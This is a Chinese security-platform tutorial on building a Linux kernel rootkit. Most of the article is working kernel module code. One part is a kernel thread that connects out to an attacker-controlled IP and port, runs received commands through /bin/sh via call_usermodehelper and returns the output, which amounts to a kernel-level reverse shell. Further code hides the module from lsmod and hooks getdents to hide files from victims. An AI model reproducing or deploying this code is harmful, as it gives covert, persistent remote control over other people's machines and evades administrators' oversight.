网安 - 专业的网络安全产业、社区、知识平台

编写一个简单的linux kernel rootkit

VSole2022-08-17 16:31:25

一、前言

linux kernel rootkit跟普通的应用层rootkit个人感觉不大，个人感觉区别在于一个运行在用户空间中，一个运行在内核空间中；另一个则是编写时调用的API跟应用层rootkit不同。

一个最简单的linux kernel rootkit就是一个linux kernel module。

二、环境

内核版本：5.4.0-120攻击机：kal靶机和编译机：ubuntu18 64位

三、linux kernel module

PS: linux kernel module编写网上资料很多，这里不在过多叙述。

1、一个linux kernel module必备的函数为module_init和module_exit，前者为linux kernel module加载时调用的函数，后者为linux kernel module卸载时调用的函数，如下所示：

module_init(rootkit_init);module_exit(rootkit_exit);

2、当然，也有其他module开头的函数，例如ODULE_AUTHOR声明作者等函数，但这些都是可选的。

3、linux kernel module打印函数也跟用户态的printf函数不同，为printk函数，当然，也不会打印在终端中，通过printk打印的信息可通过dmesg命令查看。

4、一个最简单的linux kernel module如下所示，其中module_init声明了模块加载时的函数example_init，module_exit声明了模块卸载时调用的函数函数example_exit，这个最简单的linux kernel module实现的功能就是在加载时和卸载时打印字符串。

#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>
MODULE_LICENSE("GPL");MODULE_AUTHOR("windy_ll");MODULE_DESCRIPTION("Basic Kernel Module");MODULE_VERSION("0.01");
static int __init example_init(void){    printk(KERN_INFO "Hello, world!\n");    return 0;}
static void __exit example_exit(void){    printk(KERN_INFO "Goodbye, world!\n");}
module_init(example_init);module_exit(example_exit);

5、linux kernel module可通过make modules命令编译，例如本篇编译的Makefile文件如下所示：

obj-m += rootkit.o
all:    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

6、linux kernel module使用命令insmod加载，使用rmmod命令卸载，可以使用lsmod命令查看所有已经加载的linux kernel module。上面的linux kernel module运行结果如下图所示：

四、hook系统调用表

1、系统调用表（System call Table），是一张由指向实现各种系统调用的内核函数的函数指针组成的表，该表可以基于系统调用编号进行索引，来定位函数地址，完成系统调用(PS: 来自百度百科)，系统调用表详细列表如下链接所示：

https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

2、系统调用表的hook一般可以通过以下几种方式来实现：

找到系统调用表位置，修改系统调用表中的函数地址。

找到系统调用表位置，修改系统调用表函数前几个字节做一个jmp，就是inlinehook，当然可以在汇编上直接替换掉系统调用表的函数二进制指令。

利用别人写好的框架，例如ftrace(PS:本文为了方便，即利用此方式)。

3、获取系统调用表地址一般也可以通过以下几种方式来实现。

通过调用函数kallsyms_lookup_name获取(ps:高版本已经被禁用该函数)。

扫描内存，匹配特征码来找到系统调用表的地址。

读取/proc/kallsym文件来获取。

其他方法，不在过多介绍。

4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现，例如监控命令的执行等。

五、linux kernel多线程

1、linux kernel中的多线程可使用宏定义kthread_run来创建一个内核线程，第一个参数为线程要执行的函数名，使用kthread_stop来停止。

2、一个简单的多线程示例如下所示：(PS: 这里不用导入那么多头文件，之所以使用这么多头文件，是使用了其他API)。

#include <linux/module.h>#include <linux/kthread.h>#include <linux/delay.h>#include <linux/init.h>#include <linux/kernel.h>#include <linux/syscalls.h>#include <linux/version.h>#include <linux/namei.h>#include <linux/moduleparam.h>#include <linux/sched.h>#include <linux/fs.h>#include <linux/uaccess.h>
static struct task_struct *test_kthread = NULL;
static int kthread_test_func(void *data){    return 0;}
static __init int kthread_test_init(void){    test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");    if (!test_kthread) {        return -ECHILD;    }
    return 0;}
static __exit void kthread_test_exit(void){}
module_init(kthread_test_init);module_exit(kthread_test_exit);

六、linux kernel socket

1、linux内核中的通信和用户层面的步骤差不多，都是先创建socket、连接或监听socket、调用函数收发信息、关闭连接。

2、不同点在于调用的API不同，linux内核中调用的是sock_create_kern函数来创建socket，调用sock->ops->connect来连接服务端(PS:这里的sock是前面创建的socket连接符)，调用kernel_sendmsg来发送信息，调用kernel_recvmsg来接收信息，调用kernel_sock_shutdown函数来关闭连接，调用sock_release函数来释放socket连接符，按照用户层的socket的流程来调用即可。

3、上面的api不是唯一的，linux源码中还提供了其他的函数来实现socket连接，感兴趣的可以去查阅相关的linux源码。

4、上面只写了socket客户端，不写socket服务端的原因是作者测试了好几套api在5.4的内核版本中，都运行到某个阶段内核就挂了，知道原因的大佬可以指出是什么原因。

5、测试例如下所示：

static int myserver(void *data){
        struct socket *sock,*client_sock;        struct sockaddr_in s_addr;        unsigned short portnum=8888;        int ret=0;        char recvbuf[1024];    char sendbuf[4096];    char *result;        struct msghdr recvmsg,sendmsg;    struct kvec send_vec,recv_vec;
    //sendbuf = kmalloc(1024,GFP_KERNEL);    if(sendbuf == NULL) {        printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");        return -1;    }
    //recvbuf = kmalloc(1024,GFP_KERNEL);    if(recvbuf == NULL) {        printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");        return -1;    }
        memset(&s_addr,0,sizeof(s_addr));        s_addr.sin_family=AF_INET;        s_addr.sin_port=htons(portnum);        s_addr.sin_addr.s_addr=in_aton("10.10.10.195");
        sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);        client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
        /*create a socket*/        ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);        if(ret < 0){                printk("[SockTest]:socket_create_kern error!\n");        return -1;        }        printk("[SockTest]:socket_create_kern ok!\n");
        /*connect the socket*/        ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);    printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);    /*        if(ret != 0){                printk("[SockTest]: connect error\n");                return ret;        }    */        printk("[SockTest]:connect ok!\n");
    memset(sendbuf,0,1024);
    strcpy(sendbuf,"test");
    memset(&sendmsg,0,sizeof(sendmsg));    memset(&send_vec,0,sizeof(send_vec));
    send_vec.iov_base = sendbuf;    send_vec.iov_len = 4096;   
        /*send*/    ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);    printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);    if(ret < 0) {        printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");        return ret;    }    printk(KERN_INFO "[SockTest]: send ok!\n");    memset(&recv_vec,0,sizeof(recv_vec));    memset(&recvmsg,0,sizeof(recvmsg));
    recv_vec.iov_base = recvbuf;    recv_vec.iov_len = 1024;
        /*kmalloc a receive buffer*/    while(true) {        memset(recvbuf, 0, 1024);
        ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);        printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);        if(!strcmp("exit",recvbuf)) {            break;        }        printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));        result = execcmd(recvbuf);        memset(sendbuf,0,4096);        strncpy(sendbuf,result,4096);        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));    }
    kernel_sock_shutdown(sock,SHUT_RDWR);    sock_release(sock);    printk(KERN_INFO "[SockTest]: socket exit\n");
    return 0;}

七、linux kernel命令执行

1、对于一个rootkit来说，最核心的功能点肯定在于能够执行命令。

2、在linux内核中，有以下几种方式可以用来执行命令：

hook系统调用表，劫持命令执行函数sys_execve。

调用call_usermodehelper函数直接执行命令。

3、这里使用的是第二种方式来执行命令，第一种只做到了无参数命令执行，对于有参数的解析其参数时按照指针数组解析出来的不知道为啥一直是乱码，知道原因的大佬可以指教一下。

4、无论是什么方式，都无法将命令回显结果直接写入内存直接读取，所以这里采用的是将命令结果利用>写入某个文件中，然后调用vfs_read函数读取文件获取命令回显，如下所示：

static char* execcmd(char cmd[1024]){        int result;    struct file *fp;    mm_segment_t fs;    loff_t pos;    static char buf[4096];    char add[] = " > /tmp/result.txt";        char cmd_path[] = "bin/sh";    strcat(cmd,add);        char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};        char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};        result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);        printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);    fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);    if(IS_ERR(fp)) {        printk(KERN_INFO "open file failed!\n");        return 0;    }    memset(buf,0,sizeof(buf));    fs = get_fs();    set_fs(KERNEL_DS);    pos = 0;    vfs_read(fp,buf,sizeof(buf),&pos);    printk(KERN_INFO "shell result %ld:\n",strlen(buf));    printk("%s\n",buf);    filp_close(fp,NULL);    set_fs(fs);    return buf;}

八、隐藏内核模块自身

1、对于linux kernel rootkit，很重要的一点就是隐藏自己的存在，不然受害者一个lsmod就发现了。

2、通过lsmod读出来的已经加载的内核模块在内存中的表现形式为一个链表，我们可以通过添加、删除这个链表中的节点来实现对内核模块的显示和隐藏。

3、我们可以通过THIS_MODULE这个变量来访问上述的连接，幸运的是，官方提供了API 来添加和删除节点，分别为list_del和list_add函数。

4、实现该功能源码如下所示：

void hideme(void){    prev_module = THIS_MODULE->list.prev;    list_del(&THIS_MODULE->list);}
void showme(void){    list_add(&THIS_MODULE->list,prev_module);}

九、隐藏文件

1、由于前面的命令执行功能获取命令回显结果产生了一些文件，所以我们还要隐藏这些产生从文件来避免我们的rootkit被发现。

2、我们可以通过hook sys_getdents系统调用来实现，该系统调用有三个参数，其中第二个参数为一个指针，该指针所存储的即为一个目录的文件和目录信息，在内存中的数据结构为一个链表，通过遍历这个链表然后删除相应的节点即可达到隐藏文件的目的。

3、该链表的数据结构如下所示，其中，d_name为文件或目录的名称，d_reclen为长度，通过这两个数据，我们即可实现隐藏文件和目录的功能。

struct linux_dirent {        unsigned long d_ino;        unsigned long d_off;        unsigned short d_reclen;        char d_name[];        };

4、该功能实现示例如下所示：

asmlinkage int hook_getdents(const struct pt_regs *regs){    struct linux_dirent {        unsigned long d_ino;        unsigned long d_off;        unsigned short d_reclen;        char d_name[];    };    struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;    struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;    unsigned long offset = 0;    long error;
    int ret = orig_getdents(regs);    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ((ret <= 0) || (dirent_ker == NULL))    {        printk(KERN_DEBUG "error 1,ret is %d\n",ret);        return ret;    }
    error = copy_from_user(dirent_ker, dirent, ret);    if(error)    {        printk(KERN_DEBUG "error 2\n");        goto done;    }
    while(offset < ret)    {        current_dir = (void *)dirent_ker + offset;        if(check(current_dir->d_name) == 1)        {            if(debug_mode == 1)            {                printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);            }            if(current_dir == dirent_ker)            {                ret -= current_dir->d_reclen;                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);                continue;            }            previous_dir->d_reclen += current_dir->d_reclen;        }        else        {            previous_dir = current_dir;        }        offset += current_dir->d_reclen;    }
    error = copy_to_user(dirent, dirent_ker, ret);    if(error)    {        printk(KERN_DEBUG "error 3\n");        goto done;    }
done:    kfree(dirent_ker);    return ret;}

十、ftrace使用方法

1、导入头文件ftrace_helper.h。

2、定义一个ftrace_hook hooks结构体数组，如下所示：

static struct ftrace_hook hooks[] = {    HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),};

调用fh_install_hooks函数挂钩，调用fh_remove_hooks函数解挂即

11、其他

1、在linux kernel 4.17之后，系统调用函数的参数全部存储在pt_reg结构体中，要实际访问到其参数，需要去读取该结构体。

2、由于rootkit运行在内核空间中，要访问用户空间的数据，需要使用strncpy_from_user等函数将用户空间的变量拷贝到内核空间中。

3、要申请内核空间，不能使用malloc，而是要使用kmalloc等函数来申请。

12、linux kernel rootkit使用截图

1、命令执行

2、隐藏内核模块

3、隐藏文件

13、github以及参考连接

1、github链接：

https://github.com/windy-purple/linux_kernel_rootkit

系统调用socket
本作品采用《CC 协议》，转载必须注明作者和本文链接
编写一个简单的linux kernel rootkit
2022-08-17 16:31:25
一个最简单的linux kernel rootkit就是一个linux kernel module。
分析bash反弹shell的原理
2021-07-19 22:08:04
反弹shell是获取Linux交互shell的一种方法，其方法背后的原理是什么呢
万字详解 Tomcat 组成与工作原理
2021-09-16 10:41:21
最常见的情况是使用 Tomcat 作为 Java Web 服务器，使用 Spring 提供的开箱即用的强大 的功能，并依赖其他开源库来完成负责的业务功能实现
C++ Socket详解与研究
2021-11-09 06:06:32
数据传输是病毒木马的必备技术之一，而数据回传也成为了病毒木马的一个重要特征，我们就尝试自己写一个程序来实现数据的传输，本文尝试通过c++来进行套接字(socket)的实现
frida内存检索svc指令查找sendto和recvfrom进行hook抓包
2021-12-26 16:14:28
利用wirkeshake抓包初步分析配置本地PC的ip为192.168.5.150并在上面运行server，然后在pixel手机上安装client_连接192.168.5.150服务器.apk，手机ip为192.168.5.221，在PC上通过wireshake进行抓包。如下所示，看到No.14是手机发给server的HTTP GET包，No.17为server发给手机的HTTP报文。
基于 CNG API 实现国密算法注册及应用
2022-05-12 12:03:08
下一代加密技术接口是微软在 Windows 下实现的取代上一代加密应用程序接口的密码服务接口。其目的是提供一种可扩展的方式以支持各种应用程序和未知的密码算法，以便不同的算法、协议向操作系统注册，并对应用程序提供统一的调用接口，应用程序无需改造即可支持对新算法的使用。研究了基于下一代加密技术接口在操作系统中注册国密SM2、SM3 算法，完成解析和验证国密 SM2 证书，实现了国密算法在系统中的注册及
Android netlink&svc 获取 Mac方法深入分析
2022-04-03 10:57:57
也防止有人通过inlinehook 直接hook recv ,recvform,recvmsg 直接在收到数据包的时候被拦截和替换掉。
反弹shell的N种姿势
2021-09-26 09:00:48
在渗透测试的过程中，在拿到webshell以后，如果目标主机是Windows主机，则是通过开3389端口在远程连接，如果目标主机是linux服务器，一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。
总结 | Linux常用命令知识积累
2022-08-11 08:21:10
虽然平时大部分工作都是和网络相关, 但会接触Linux系统, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行环境中. 自己记忆力不好, 很多有用的Linux命令不能很好的记忆, 现在逐渐总结一下, 以便后续查看。基本操作Linux 关机,重启#?查看当前用户环境变量。查看有几颗cpu,每颗分别是几核。
VSole
网络安全专家